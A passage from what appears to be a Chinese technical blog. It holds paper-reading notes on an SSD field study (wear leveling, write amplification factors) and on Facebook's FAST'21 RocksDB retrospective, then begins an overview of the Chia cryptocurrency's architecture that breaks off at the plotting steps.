损耗平均(Wear Leveling)就是把写入尽量平均的打散到所有 Block 上,以此避免某些 Block 被频繁的擦写,造成其寿命下降及性能降低。损耗平均技术是以整体的 PE Cycle 增加来换取长尾减少的,因此实际实现上需要做一个平衡——太过激进的损耗平均会导致 SSD 整体寿命衰减得太快。为了衡量损耗平均的效果,作者引入了擦除率(Erase Ratio)及擦除均匀度(Erase Difference)这两个指标:

Erase Ratio & Erase Difference

Erase Ratio 的理想值是 1,对应的 Erase Difference 的理想值是 0。实际当然不会这么理想:

Figure 4

  • Erase Ratio 的中位数是 1.55,意味着写入量最多的 Block 比平均值多写入了 55% 的数据
  • 5% 的设备 Erase Ratio 大于 6 了,这意味着部分 Block 可能会在全盘只用了 16% PE Cycle 的时候就报废了,这会对 SSD 的整体性能,特别是长尾表现造成明显影响
  • 部分型号的 SSD 损耗平均做得很好,十分接近理论值,说明这个要做好是可以做好的
  • 然而,这时候又要把 Sandisk 的 SSD 拿出来批判一番了,从图中可以很明显的看到 Sandisk 那几款 SSD 损耗平均做得相当之差,尽管这几款 SSD 有着异常高的 WAF,这么高的 WAF 还做出了这么糟糕的损耗平均效果,实在是让人震惊啊……

空间使用率分析

这一部分没太大意思,作者分析了一下不同使用年限,不同大小的 SSD 在 AFF 应用场景下空间使用率有啥区别(WBC 应用空间使用率无意义,基本都是 100%):

Figure 5

  • 大部分 SSD 处于半满状态
  • 空间使用率在用了 1~2 年后就基本稳定了
  • 越大空间的 SSD 空间使用率越高,原因是购买大空间需要更多的钱,因此用户会对自己需要多少空间做出更细致准确的评估

写放大系数的影响因素

直接给出作者在 PPT 中的总结表格吧:

Which factors impact WAF?

结论很简单,FTL 固件算法做得如何是决定性因素;写入负载也有明显影响;其余因素基本没影响。

FTL 固件实现

作者此处选用了 III-A 这款 SSD 为例进行分析,这款 SSD 最初的固件版本是 FV2,后面升级到了 FV3:

Figure 6

可以看到这次纯软件固件升级有显著优化作用,明显改善了其 WAF;更不要说前面分析过的 Sandisk 产品和 Samsung 产品的差距了。由此可见,SSD 远远不只是搞一些 Flash 颗粒芯片来组装下就好了的,主控软件算法的水平同样是决定性的;甚至可以说,主控的影响有时候比颗粒类型更重要——Samsung 用消费级 TLC 颗粒做出来的 SSD 整体寿命比 Sandisk 用企业级 MLC 颗粒做出来的 SSD 还要好。

负载特性

直接进行 IO Trace 是记录负载特性最有效的方法,然而对于大规模系统来说这是基本不可行的。因此作者用 DWPD,SSD 容量,SSD 接口类型这几个指标来对负载类型进行了一个简单分类。SSD 容量和接口类型能用于区分负载类型同样是由于不同容量和接口类型的 SSD 被用于了不同产品和客户上。

这部分的图不是那么直观就不放了,直接给结论吧:

  • 越高的 DWPD 会对应越低的 WAF。这个结论前文也提到了,可能的原因是,很多 FTL 固件实现上是以固定的频率在进行背景任务的,没有与当前的写入量耦合起来,因此较高的 DWPD 减少了背景任务的占比,进而提高了 WAF
  • 较大容量的 SSD WAF 相对也较小一些,不过这个影响不大
  • NVME 接口的 WAF 要小于 SAS,这个更有可能的原因是,NVME 接口更新,使用 NVME 的业务也会更新一些,也就会更多的考虑 SSD 的特性进行优化

空间使用率

作者的结论是没有明显影响

预留空间大小

这是指 SSD 厂商在内部预留的空间(Over-Provisioning,OP),通常认为这会对 WAF 有明显影响。然而实际看下来影响不大,甚至是有轻微的负相关关系,即预留空间越大的 SSD 反而 WAF 也越大。比如 Sandisk 的那几款 SSD,预留空间达到了惊人的 44%,然而还是被 Samsung 预留空间只有 7% 的 SSD 吊打。

这仔细一想其实也很好理解,预留多少空间当然是根据 FTL 固件的需求决定的,写得越差的 FTL 固件很有可能就需要越多的预留空间……

多流写技术

多流写(Multi-stream Writes, MSW)技术需要主机端在写入的时候指定一个 Stream ID,支持此特性的 SSD 会根据此 Stream ID 将具有相同或相似生命周期的数据写入到相同的 Block 中去,以此实现冷热数据分离,预期可以大幅提高 GC 时的效率,减少 WAF。此技术的详细介绍可参考文末参考资料中的几篇文章。

论文中对于多流写技术的影响结论是不确定,原因是缺乏足够的数据进行判断。

结论

看完全文主要收获有:

  • SSD 容量真是越来越大了,30T 的都有了
  • 大部分 SSD 没想象的那么脆弱的,好点的 SSD 一天好几 T 的写入量也可以用 10 多年,将来用上 QLC 也没有什么问题
  • SSD WAF 是很大的,在真实场景下可能会到 10 以上,然而不用太过于担心这个问题,厂商是考虑过这个问题的,给出的寿命及性能指标是考虑了这些的
  • 多流写听起来很厉害的样子
  • SSD 固件差异那是真的大啊
  • Sandisk 就是垃圾…… Samsung 还真不错

参考资料:

论文原文及 Presentation

浅析企业级SSD Multi-Stream Write技术

Increasing SSD Performance and Lifetime with Multi-Stream Write Technology

April 08, 2022 02:48 PM

【读读论文】RocksDB 发展回顾及展望

Evolution of Development Priorities in Key-value Stores Serving Large-scale Applications: The RocksDB Experience

此论文为 Facebook 发表在 FAST’21 上的论文,回顾了 RocksDB 在过去 8 年的演进中设计上核心关注点的变化及相应的优化措施,以及在性能,功能,易用性上所做的探索工作;此外还总结了将 RocksDB 应用于大规模分布式系统及系统错误处理上需要考虑的一些问题及经验教训。论文中没有论述具体的技术细节,更多的是从宏观的面上讨论了核心设计思想及工程实现上的各种权衡。

下面就来看下此论文具体讲了些什么,引用部分为我自己的笔记。

1 引言

RocksDB 是 Facebook 基于 Google 的 LevelDB 于 2012 年开发的一款高性能 KV 存储引擎,在设计之初 RocksDB 就是针对 SSD 来进行设计及优化的,且 RocksDB 的定位一直都很清晰——只做一个核心存储引擎而不是完整的应用,作为一个嵌入式的库集成到更大的系统中去。

RocksDB 是高度可定制的,因此它作为一个核心 KV 存储引擎能适应各种工作负载,用户可以根据自己的需要对它进行针对性调优,如为读性能优化,为写性能优化,为空间使用率优化,或它们之间的某个平衡点。正是因为如此灵活的可配置性,RocksDB 可以作为很多不同数据库的存储引擎使用,如 MySQL,CockroachDB,MongoDB,TiDB 等,也可以满足流式计算(Stream processing),日志服务(Logging/queuing services),索引服务(Index services),缓存服务(Caching on SSD)等多种特性完全不同的业务需求。这些不同业务场景特性总结如下:

不同 RocksDB 负载特性

这么多不同应用共用一个相同的存储引擎与每个应用都去搭一套自己的存储子系统相比有很多优势:

  • 无论是多简单的存储相关应用都要处理数据损坏,异常恢复,文件系统错误处理等问题,一个统一的存储引擎可以把这些都处理了,避免重复造轮子;
  • 由于使用了同一套存储引擎,不同系统间可以共用一套统一的基础设施,如一致的监控系统,运维工具,调试工具等;
  • 由于底层都是一样的,各种调试经验等在不同应用间都是可以复用的。

文中说这些基本就是用一个统一轮子的好处了,其实对于个人来说还有些其他额外好处,由于不同公司不同 Team 都选用了同样的底层引擎,人员流动就会变得更方便了:)

引言最后照例介绍了下文章结构:

  • 第 2 章主要介绍了 RocksDB 之所以选择 LSM-tree 作为其核心数据结构的考虑。作者认为 LSM-tree 至今都很好,选用 LSM-tree 也是 RocksDB 能适应各种不同工作负载的关键所在;
  • 第 3 章主要介绍了 RosksDB 的核心优化目标的变化,由最小化写放大到最小化空间放大;由性能优化到效率优化;
  • 第 4 章主要介绍了使用 RocksDB 搭建大规模分布式系统时的一些经验教训;
  • 第 5 章主要介绍了 RocksDB 在错误处理方面的一些考虑;
  • 第 6 章主要介绍了 RocksDB 对于 KV 接口演化的一些思考;
  • 第 7,8,9 章则分别是相关工作介绍,未来发展方向展望及结论。

2 背景

2.1 基于 SSD 的嵌入式存储引擎

RocksDB 设计之初就是为 SSD 及现代硬件优化的。SSD 的 IOPS 及读写带宽都大幅优于传统机械硬盘,不过其寿命有限,且写入性能会由于擦除而恶化,因此设计一款针对 SSD 的嵌入式 KV 存储引擎就变得更有必要了,这就是 RocksDB 的设计初衷——设计一款极具灵活性可用于各类应用的,使用本地 SSD 并为其优化的 KV 存储引擎。

2.2 RocksDB 架构

RosksDB 的核心数据结构是 LSM-tree,其基本结构如下:

LSM-tree

几种基本操作的流程简述如下:

  1. 写入(Writes)

    先写 Memtable 及 WAL 文件(Write Ahead Log),Memtable 通常使用跳表(Skip List)作为其数据结构。Memtable 写满后转换为不可变的 Memtable(immutable Memtable),并同时生成一个新的 Memtable 供写入;随后 immutable Memtable 会被写入到磁盘上变成 SST 文件(Sorted String Table)。

  2. 压缩(Compaction)

    Compaction 有多种不同算法,RocksDB 最古老的 Compaction 算法是源于 LevelDB 的 Leveled compaction。其基本原理如上图所示,Memtable dump 生成的 SST 文件位于 Level-0,当某个 Level 中所有 SST 大小超过阈值后选择其中的一部分文件 Merge 到下一个 Level 中。除 Level-0 外,其他 Level 内不同 SST 文件间 key 的范围没有重合。

  3. 读取(Reads)

    读取时从小到大遍历所有 Level,直到读到为止。可使用布隆过滤器(Bloom filters)来避免不需要的 IO。Scan 时需要扫描所有 Level。

RocksDB 支持多种不同的 Compaction 算法:

  • Leveled compaction。源自 LevelDB,上文已经介绍了其原理,每一层的阈值是指数形式增加的。
  • Tiered compaction,RocksDB 中又叫 Universal Compaction,类似 Apache Cassandra 或 Hbase 中使用的方法,简单的把多个小的 SSTable 合并成一个大的 SSTable。
  • FIFO compaction,达到大小限制后直接把最老的 SSTable 丢掉,这种策略只适用于一些纯内存的 Cache 应用等。

Tiered compaction 与 Leveled compaction 的核心区别在于每个 Level 中不同 SSTable 间 Key 的范围是否有重叠(overlap),leveled compaction 策略下同一 Level 内 SSTable 间 Key 是不会有重叠的,因此读的时候只会读一个 SSTable,IO 放大是可控的。Tiered compaction 则没有此性质,不同 SSTable 间 Key 范围是有重叠的。这两种 compation 策略的选择其实也是读放大与写放大间的权衡。

可以进一步参考下此文:LSM Tree的Leveling 和 Tiering Compaction

可以使用多种不同的 Compaction 策略使得 RocksDB 可以适用于广泛的应用场景,通过配置 RocksDB 可以变成为读优化,为写优化或极度为写优化(用于 Cache 等应用中)。不同的配置其实是读写放大间的平衡问题,一些实际的测试结果如下:

image-20211124144605620

image-20211124144641862

3 资源优化目标的演进

RocksDB 的优化目标最初是减少写放大,之后过渡到减少空间放大,目前重点则是优化 CPU 使用率。

写放大

这是刚开始开发 RocksDB 时的重点优化目标,一个重要原因是为了减少 SSD 的写入量以延长其寿命,这对某些写入很多的应用来说至今仍然是首要优化目标。

Leveled compaction 的写放大系数一般在 10~30 左右,这在大部分情况下是优于 B-tree 的,与 MySQL 中使用的 InnoDB 引擎相比,RocksDB 的写数量仅为其的 5% 左右。然而对于某些写入量很大的应用来说,10~30 的写放大系数还是太大了,所以 RocksDB 引入了 Tiered compaction,其放大倍数通常在 4~10 左右。

空间放大

在经过若干年开发后,RocksDB 的开发者们观察到对于绝大多数应用来说,空间使用率比写放大要重要得多,此时 SSD 的寿命和写入开销都不是系统的瓶颈所在。实际上由于 SSD 的性能越来越好,基本没有应用能用满本地 SSD,因此 RocksDB 开发者们将其优化重心迁移到了提高磁盘空间使用率上。

RocksDB 开发者们引入了所谓的 Dynamic Leveled Compaction 策略,此策略下,每一层的大小是根据最后一层的大小来动态调整的。

Tiered compaction 的空间放大和 Level compaction 根本没法比,极端情况下需要预留一半空间才能顺利进行完整的 compaction,因此这里就直接不讨论了。

Dynamic Leveled Compaction 的具体介绍可参考:

Dynamic Level Size for Level-Based Compaction

核心思想就是让稳态情况下更多的做一些 compaction。

此策略的效果如下:

Dynamic Leveled Compaction Compare

CPU 使用率

随着 SSD 的速度越来越快,一种普遍的担心是,系统的瓶颈会不会由磁盘 IO 转移到 CPU 上呢?然而作者认为无需担心此问题,原因如下:

  • 真实场景中,只有极少数应用会受限于 SSD 能提供的 IOPS,绝大部分应用是受限于 SSD 的存储空间;
  • 目前高端服务器 CPU 有足够多的计算资源来满足一块高端 SSD 的需求,当然如果一台机器上有多块 SSD,则 CPU 是有可能会成为瓶颈的,然而作者认为这是系统配置问题,完全可以通过调整 CPU 和 SSD 配比来解决此问题……
  • 就算某些应用 CPU 真成瓶颈了,这意味着此时存在大量 SSD 写入,这也意味着这块 SSD 命不久矣……

为了证明此观点是正确的,作者给出了若干个 ZippyDB & MyRocks 的实际测试结果用以论证空间才是瓶颈所在:

ZippyDB & MyRocks

虽然说了这么多无需太担心 CPU 成为瓶颈,作者认为我们还是要去优化 CPU 使用率,为什么呢?因为其他更重要的优化,如空间放大优化都做完了没有可做的了……(这段真不是我瞎写的,原文就是这么说的:Nevertheless, reducing CPU overheads has become an important optimization target, given that the low hanging fruit of reducing space amplification has been harvested.)此外,CPU 和内存还越来越贵了,优化 CPU 使用可以让我们用一些更便宜的 CPU……

一些有助于优化 CPU 使用率的早期尝试包括:前缀布隆过滤器(Prefix bloom filters),在查找索引前就先通过 bloom filter 进行过滤,还有其他一些 bloom filter 的优化。

对于上述论述不甚赞同……

  1. 作者这是假设这台机器上只跑 RocksDB,上层应用是很轻量级的,把全部 CPU 资源都给 RocksDB 用才没有瓶颈,这显然是很有问题的,有可能上层应用本身就需要很多 CPU 啊,而且作为一个 KV Engine 就把大部分 CPU 资源用完了不太合理吧。这还不要说在共有云等场景下大规模混部的情况了,此时所有空余的 CPU 都是可以用来干其他事的。
  2. 不知作者为什么认为一台机器上只配一块 SSD 才是最优搭配,根据我的经验这分明是不太好的搭配吧,正因为 SSD 少了存储空间才成瓶颈的,一台机器上使用 2~4 块 NVME SSD 才是目前更主流且合理的方案吧,要是机器上还有多个 RocksDB 实例在同时工作,此时 CPU 显然很容易成为瓶颈吧。

适配新技术

作者列举了一些存储领域的新技术,如 open-channel SSD,mulit-stream SSD,ZNS(Zone namespace,类似抽象得更好的 open-channel SSD),这些都能降低 IO 延迟,然而作者又抛出了绝大部分应用都是受空间制约的这一论据,认为这些技术并没有什么实际用处……此外如果要让 RocksDB 这一层直接用上这些技术会破坏 RocksDB 统一一致的体验,因此更值得尝试的方向是下层文件系统去适配这些新技术,RocksDB 专注于 KV 引擎层该做的工作,而不是去做底层 FS 存储层该做的事。

前面空间制约这一说法不敢苟同……后面的说法倒是的确很有道理,每一层就专注做这一层该做的事吧。

存算一体(In-storage computing)也是个很有潜力的技术,然而尚不确定 RocksDB 要如何用它,以及能从中获得多大的收益,后续会继续关注研究此技术。

远端存储(Disaggregated/remote storage)是目前阶段更有意义的优化目标,上文也提到了 CPU 和本地 SSD 盘很难都同时用满,然而若用的是存算分离的架构则不存在此问题了。对于 RocksDB 来说,对远端存储的优化主要集中在聚合 IO 及并行化 IO 上,此外还有对瞬时网络错误的处理,将 QoS 需求下传至底层系统,提供 Profiling 信息等。

资源使用率优化是存算分离架构最大的优点之一。

持久性内存(Persistent Memory, PMem,又称 Storage Class Memor, SCM)是另一个极有前途的技术,对于 RocksDB 来说有以下这些值得尝试的方向:

  • 将 PMem 作为内存的扩展。这个尝试的挑战是在 DRAM 与 PMem 并存时如何优化内存数据结构(Block cache 及 Memtable),并且在尝试利用其非易失性时会有什么额外开销;
  • 将 PMem 直接用作系统的主存储介质。SSD 性能作者都认为过剩了当然不会认为这是很好的优化方向;
  • 使用 PMem 来保存 WAL 文件。这个想法的问题在于,数据只会在 WAL 文件中停留很短时间,用 PMem 来做是否值得,毕竟 PMem 还是比 SSD 贵很多的。

主要数据结构选择回顾

经过了这么多年的发展,LSM-tree 这一基本数据结构是否还合适呢?作者给出的答案是,Yes!LSM-tree 至今还很适合 RocksDB 使用。主要原因是 SSD 的价格还没有降到足够低的程度,即可以让大部分应用都不在意其寿命损耗的程度,此类应用只是很少一部分应用。然而,当 Value 很大时,分离 KV (如 WiscKey)可以显著降低系统写入放大,所以此功能也被加入到了 RocksDB 中(被称为 BlobDB)。

4 应用于大规模系统中的经验教训

资源管理

在大规模分布式数据存储系统中,通常都会将数据分为若干个 Shard,再把不同 Shard 分配到不同存储节点上。单个 Shard 的大小通常是有上限的,原因是 Shard 是负载均衡和多副本的基本单位,需要能在不同节点间自动拷贝。每个服务节点上通常都会有数十个或数百个 Shard。在使用 RocksDB 的通常实践中,一个 RocksDB 实例只用于管理一个 Shard,因此一个服务节点上也就会有很多 RocksDB 实例在同时运行,这些实例可以运行在同一地址空间下,也可运行在不同地址空间下。

这里分别就是多线程和多进程模型吧。

一台 Host 上会运行多个 RocksDB 实例的事实让资源管理变得更为复杂,因为资源需要同时在全局(整个 Host)和局部(单个 RocksDB 实例)两个维度上进行管理。

当不同实例运行在同一个进程内时资源管理相对较为简单,只要限制好各种全局资源,如内存,磁盘带宽等的使用即可。RocksDB 支持对每类资源都创建一个资源控制器(resources controller),并将其传递个各实例,以实现实例内的局部资源管理,这个资源管理还是支持优先级的,可以灵活的在不同实例间分配资源。

然而若不同实例时运行在不同进程上时,资源管理就会变得更有挑战性。解决此问题有两个思路:

  • 每个实例配置成保守的使用资源的模式,即先设置一个较低的限额,当出现瓶颈后再尝试去用更多的资源。此方案的缺点很明显,全局的资源使用率不是最优的。
  • 实例间通过 ICP 或其他机制共享资源分配信息,以此实现一个更优的局部资源分配。这条路上 RocksDB 还有很多工作需要做。

此外,另一个经验教训是,随意使用独立的线程会导致很多问题,这会使得总的线程数变得很多且不可控,进而导致线程切换开销增大及很痛苦的 debug 过程。一个更好的选择是使用线程池,这可以根据实际情况去控制总的线程数量。

WAL 文件的处理

传统的数据库都是使用 WAL 文件来保证数据持久性的,然而大规模分布式存储系统更多的是依赖于不同节点上的多副本来保证这一点的,单节点的数据损坏可以通过其他节点来进行修复,对于这类系统来说,RocksDB 的 WAL 文件就没那么重要了。进一步,很多一致性协议(如 Paxos,Raft 等)有其自己的 Log,这种情况下 RocksDB 的 WAL 文件就完全没用了。

因此 RocksDB 提供了三种不同的 WAL 策略可供选择:

  • 同步 WAL 文件写入;
  • 缓冲(buffered)WAL 文件写入,即在后台以低优先级异步刷 WAL 文件;
  • 没有 WAL 文件。

删除文件限速

RocksDB 底层的文件系统通常是选用 SSD-aware 的文件系统,如 XFS,此类文件系统在删除文件时可能会显式的向底层 SSD 固件发送 TRIM 命令。此行为通常有助于提高 SSD 的性能及寿命,然而某些时候也会导致一些性能问题。TRIM 命令其实是没那么轻量级的,SSD 固件在收到 TRIM 命令后会更新其地址映射关系,此行为有可能需要写入 FTL 日志(journal),而 FTL journal 是位于 Flash 上的,这又有可能会触发 SSD 内部的 GC,进而导致大量的数据迁移,此行为会干扰前台写入造成写入延迟的上升。为解决此问题,RocksDB 引入了一个速率限制器来限制 compaction 后并发删除的速度。

数据格式兼容性

大规模的分布式系统之所以叫大规模了,当然是因为整个系统中的机器数很多喽,此时升级肯定是增量式进行的,没有任何实际生产系统会对所有节点做同步升级。因此需要保证两种基本兼容性:

  • 新老版本间数据的兼容性,因为要考虑到回滚,向前兼容性和向后兼容性都是需要的;
  • 不同版本运行在同一集群下数据的兼容性,因为分布式系统会在节点间搬移数据,要考虑二者并存的时候整个系统是正常的。

如果不保证这些兼容性就会给运维带来极大的困难。对于向后兼容性(backward compatibility)来说,RocksDB 要能识别之前版本的数据,这的代价通常是软件复杂度;而向前兼容性(forward compatibility)通常是更难保证的,这要求老版本要能识别新版本的数据,RocksDB 通过 Protocol Buffer 等技术来一定程度的保证了至少一年的向前兼容。

backward compatibility 相对比较好做,顶多就是代码写得复杂点;然而 forward compatibility 要困难的多,甚至是在很多时候根本就是不可行的,一个系统的 forward compatibility 如何很大程度上是取决于设计之初设计者的远见与前瞻性的。

配置方式管理

RocksDB 的一大特色就是其高度可配置性,这也是它能用于满足各种工作负载需求的原因所在,然而此时配置管理也就变得很有挑战性了。最初 RocksDB 的配置方式类似于 LevelDB,有哪些配置项及其默认值等都是写死在代码中的,这种方式有两个问题:

  • 某些配置项是和磁盘上的数据密切相关的,如果数据是根据 A 配置生成的,而另一个实例使用 B 配置去读取就会发生问题;
  • RocksDB 版本升级有可能会修改代码中的默认值,这在某些时候会造成一些非预期的结果。

为解决此问题,RocksDB 支持针对每个数据库使用不同的配置文件,而非一个 RocksDB 实例只能用一个统一的配置文件。此外还提供了一些辅助工具:

  • 检查配置文件和实际数据库数据间的兼容性工具;
  • 数据库数据迁移工具,可以根据期望的配置文件来进行数据重写迁移。

另一个更严峻的问题是 RocksDB 的配置项实在是太多了,这是 RocksDB 早期之所以能得到广泛应用的一个原因,然而过多的配置项也让配置的复杂性和混乱程度变得很高,要弄清楚每个配置项是干嘛的基本是不可能的。这些配置项如何配置才是最优的不仅取决于 RocksDB 的运行环境,还取决于其上层应用,还有上层应用更上层的负载情况等等,这些都会让调参变得极为困难。

这些真实世界中遇到的问题让 RocksDB 的开发者们重新检视了其最初的配置支持策略,开始努力提高 RocksDB 开箱即用性能及简化配置项。目前开发的重点是在保持高度可配置性的基础上提供更强大的自适应性(automatic adaptivity),要同时做到这两点会显著增加代码维护的负担,然而开发者们认为这是值得的~

多副本及数据备份支持

RocksDB 本身是一个单节点的库,使用 RocksDB 的应用需要自己处理多副本及备份问题,不同应用的处理方法不尽相同,因此 RocksDB 需要对此提供恰当的支持。

在新节点上重新拉起一个副本有两种策略:

  • 逻辑拷贝(Logical copying),从源副本读数据再写到目标副本去。对于这种方式,RocksDB 提供了 Scan 接口支持,且提供了让这类 scan 尽量少影响在线服务的能力,如这类操作读到的数据不加到 Cache 里面;目标端提供 bulk loading 支持。
  • 物理拷贝(Physical copying),直接把 SSTable 及其他文件拷贝过去。RocksDB 对这种方式的支持在于,可以提供当前数据库用到的 SSTable 及其他文件不会被删除或修改的能力。支持物理拷贝也是 RocksDB 选择将底层架在一个文件系统而非裸盘上的重要原因,这可以方便使用文件系统自己提供的工具来实现这一 Copy,开发者们认为,直接使用裸盘带来的性能收益并不比上述优势的收益更大。

备份也是很多数据库或其他应用所需的一个重要功能。备份与多副本一样也有逻辑和物理两种方式,然而与多副本不同的是,应用通常需要管理多个版本的备份数据。尽管大部分应用都实现了其自己的备份策略,RocksDB 也提供了一个简单基本的备份引擎。

5 错误处理的经验教训

静默错误出现概率

由于性能原因,RocksDB 一般不使用 DIF/DIX 等 SSD 提供的数据保护功能,而是使用最为通用的校验和策略。根据作者的观测,RocksDB 层面的错误在 100PB 规模下大概每 3 个月就会出现一次,更糟糕的是,大约 40% 的情况下,错误已经被扩散到多个副本里去了。

多层次的数据保护

数据损坏越早被检出系统的可用性及可靠性就会越好,大部分基于 RocksDB 的应用都使用不同机器上的多副本策略,此时检测到一个副本校验和错误后可以根据其他副本进行修复,前提是正确的副本还存在。

目前的 RocksDB 校验和保护机制可分为 4 层(含计划中的应用层校验和):

image-20211128173834771

  • Block checksum。源于 LevelDB,SSTable 中 Block 级别的校验,会在每次读取时进行检查,用于防止由于底层文件系统导致的数据损坏;
  • File checksum。在 2020 年加入,整个 SSTable 的校验,保存在 SSTable 的 meta 字段中,用于防止在传输整个 SSTable 过程中发生的数据损坏;
  • Handoff checksum。用于保护 WAL 文件的机制,核心思想是在写入时将数据及其对应的校验码一起发给底层文件系统,底层文件系统对每次的增量写入进行校验,以此避免写入 WAL 这一过程中发生的错误。然而不幸的是,绝大部分本地文件系统是不支持此类 API 接口的。不过对于远端文件系统来说,可以通过修改 API 接口来支持此类端到端的保护功能。
  • K/V checksum。计划中的功能,需要修改 RocksDB 的 API 接口并要上层应用配合实现,为每个 kv 都加入校验,这是最彻底的端到端的数据保护措施。

分级错误处理

RocksDB 遇到的大部分错误都是底层文件系统返回的错误,最初 RocksDB 处理这些错误的方式就是不处理,即直接将这些错误抛给上层应用或永久停止写入。目前开发者们更倾向仅在 RocksDB 自身无法处理或恢复时才中断 RocksDB 的正常流程,实现这的基本方法就是对某些暂时性错误在 RocksDB 层面就进行重试。上层收到 RocksDB 的错误后一般处理方法都是进行实例迁移,RocksDB 自身进行了重试后上层因此造成的实例迁移就会少很多。

6 KV 接口设计的经验教训

版本及时间戳

核心的 KV 接口是如此的通用,以至于基本所有的存储负载都可以被 KV 接口所满足,这就是 KV 存储这么流行的原因了。然而对某些应用来说,这么简单的接口可能会制约其性能。比如要想基于 KV 接口做 MVCC(Multiversion concurrency control,多版本并发控制)的开销就会很大。

RocksDB 内部是有一个 56-bit 的序列号用于区分不同版本的 KV 对的,也支持快照(Snapshot)功能,生成了一个 Snapshot 后此时的所有 KV 对都是不会被删除的,直到显式的释放了此快照,因此同一个 Key 是可以有多个序列号不同的 Value 的。

然而此种简单的多版本机制是没法完全满足很多应用需求的,原因在于此机制存在一些局限性:

  • 要读到历史数据的必要条件是历史数据的 Snapshot 已经存在了,RocksDB 是不支持对过去时间再进行快照的;
  • 上述序列号是单个 RocksDB 实例自己生成并维护的,只保证其是一个递增的序列号,用户写入时也不能指定此序列号,因此基本是没法建立一个全局跨 Shard 的一致性读(由于不同实例间的序列号没有可比性)。

应用想要绕开这些限制只能在 Key 或 Vaule 中自行编码加入时间戳,然而这会导致性能下降:

  • 在 Key 中编码时间戳会让查询变得低效,原因是之前的单次 Query 变成了范围 Scan;
  • 在 Value 中编码时间戳会让写入变得低效,因为要更新 Vaule 必须要进行 RMW(Read-Modify-Write) 操作。

因此在 KV 接口层面就支持指定时间戳会是一个更好的解决方案,目前 RocksDB 对此已经提供了基本的支持。以应用自行在 Key 中编码时间戳的性能为基准,原生带时间戳的 KV 接口性能如下:

image-20211128182700205

可以看到至少有 1.2 倍性能提升,原因在于查询操作可以使用正常 Query 接口而非 Scan 接口了,此时 Bloom Filter 等就都可以起作用了。此外 SSTable 包含的时间戳范围可以加入到其元信息中了,这就有助于在读的时候直接跳过不符合要求的 SSTable 文件。

开发者们认为,此功能有助于上层应用实现 MVCC 或其他分布式事务功能,然而并不考虑开发更复杂的多版本功能,原因是更复杂的多版本功能使用起来并不那么直观,也可能会被误用;且为了保存时间戳需要更多的磁盘空间,也使得接口上与其他 KV 系统间的可移植性变差。

7 相关工作

这部分主要就是介绍在存储引擎库,基于 SSD 的 KV 存储系统,LSM-tree 优化,大规模存储系统这几方面上还有些什么研究,感兴趣的可以去看看原文。

8 未来的工作及一些开放问题

除了上文提及的支持远端存储,KV 分离,多层次校验和,应用指定时间戳外,还计划统一 Leveled 及 Tiered compaction 策略和增强自适应性,此外还有些开放问题:

  • 如何使用 SSD/HDD 混合存储来优化系统效率;
  • 当存在很多删除时如何尽量保证此时的读性能;
  • 如何优化写入限流算法;
  • 如何高效的比较两个副本,以确定其包含相同的数据;
  • 如何最好的使用 PMEM,此时还该继续使用 LSM-Tree 么?如何支持多存储层级;

附录 A. RocksDB 发展路线图

image-20211124225709050

很不错的图~可以看到 RocksDB 性能上的优化主要聚焦于 Compaction 及 Bloom Filter 展开~

附录 B. 重要结论总结

  1. 一个存储引擎能通过调参来适应不同工作负载是很重要的;
  2. 对于使用 SSD 的大部分应用来说,系统瓶颈是在 SSD 容量上;
  3. 降低 CPU 开销也变得越来越重要;
  4. 如果一台机器上运行了多个 RocksDB 实例,那全局的资源管理就会变得很必要;
  5. 提供不同的 WAL 文件处理方式可以给上层应用带来性能提升;
  6. SSD TRIM 是个好命令,然而需要对文件删除操作进行限速以避免偶发性的性能问题;
  7. RocksDB 需要同时具有向前及向后兼容性;
  8. 配置的自适应性对于简化配置管理来说很有帮助;
  9. 需要恰当的支持多副本及数据备份;
  10. 数据损坏发现的越早越好,而非最后用到时才发现;
  11. CPU 及内存导致的数据损坏很罕见,然而是有可能发生的,此类数据损坏有时是不能被多副本所修复的;
  12. 数据完整性保护需要覆盖全系统;
  13. 用户通常是期望 RocksDB 能从暂时 IO 错误中自动恢复过来的;
  14. 错误需要根据其原因及后果不同而采用不同处理方式;
  15. KV 接口是通用的,然而会有些性能局限性,增加一个时间戳可以很好的平衡性能和简单易用性。

附录 C. 设计之初一些不太合适的观点

  1. 对用户来说可自定义的程度越高越好;
  2. RocksDB 无法处理类似 CPU 位反转这类错误;
  3. 一旦发生 IO 错误就直接停止工作是可以接受的。

参考资料:

论文原文及 Presentation

April 08, 2022 12:34 PM

Chia 技术架构简述

Chia(起亚) 是最近极为火热的数字货币项目,对应的货币叫做 Chia Coin,简称 XCH。其核心算法为 PoST(Proof of Space and Time),以替代比特币中的 PoW(Proof of Work)。

使用 PoSpace 空间证明而非 PoW 工作量证明是 Chia 项目宣称的最大优点。据他们的开发者宣称,PoW 耗费太多能源了,不环保,我们来搞点更环保的东西吧,不用 PoW 了,改用 PoSpace,即谁有的硬盘空间多谁的投票权就更大。因此他们还把通常称为白皮书(White Paper)的文档改名叫做绿皮书(Green Paper)。

然而仔细想想这哪里环保了,把一堆硬盘搞来塞满毫无意义的数据比比特币矿机还要更邪恶吧……Chia 的官网上还可笑的宣称硬盘更不容易被垄断,因此个人还有小玩家可以更好的入场,简直是更荒谬的说法,哪个个人会去囤积一堆存不了有用数据的硬盘?

IPFS 好歹还可以存一些实际有用的数据,看起来还真能促进下社会发展,至于 Chia 简直是除了圈钱和泡沫看不到任何其他意义。不过抛开实际意义,由于最近也研究了下 Chia 的文档和代码,就单纯的来和大家分享下 Chia 的技术实现吧。

软件架构

Chia 的整体架构图如下:

整个系统中主要有 3 种类型的参与者:

  • Farmer,农民
  • TimeLord,时间领主
  • Full Node,全能节点(中文翻译不确定)

Farmer

绝大部分参与者都是农民 Farmer,如何成为农民也很简单,直接去下载个打包好的客户端运行就好了。

至于为什么叫 Farmer 呢?当然是为了凸显 Chia 的绿色环保喽,我们不是在浪费能源的挖矿,我们是在环保的种田!

Farmer 的工作也很简单,基本就是两步:

  1. Plotting,播种
  2. Farming,摸奖

Farmer 生成的 Plots file(P 盘文件) 可能会分布在很多台机器上,因此需要在这些机器上都部署上用来支持摸奖的服务,这个服务就被称为 Harvester 收割机。Farmer 接收到来自 TimeLord 的 Challenge(质询) 后,会将此 Challenge 转发到所连接的所有 Harvester 上。

Plotting

Plotting 的目的是在磁盘上生成一大堆 Plots file,根据其实现代码,这一过程可分为 4 步:

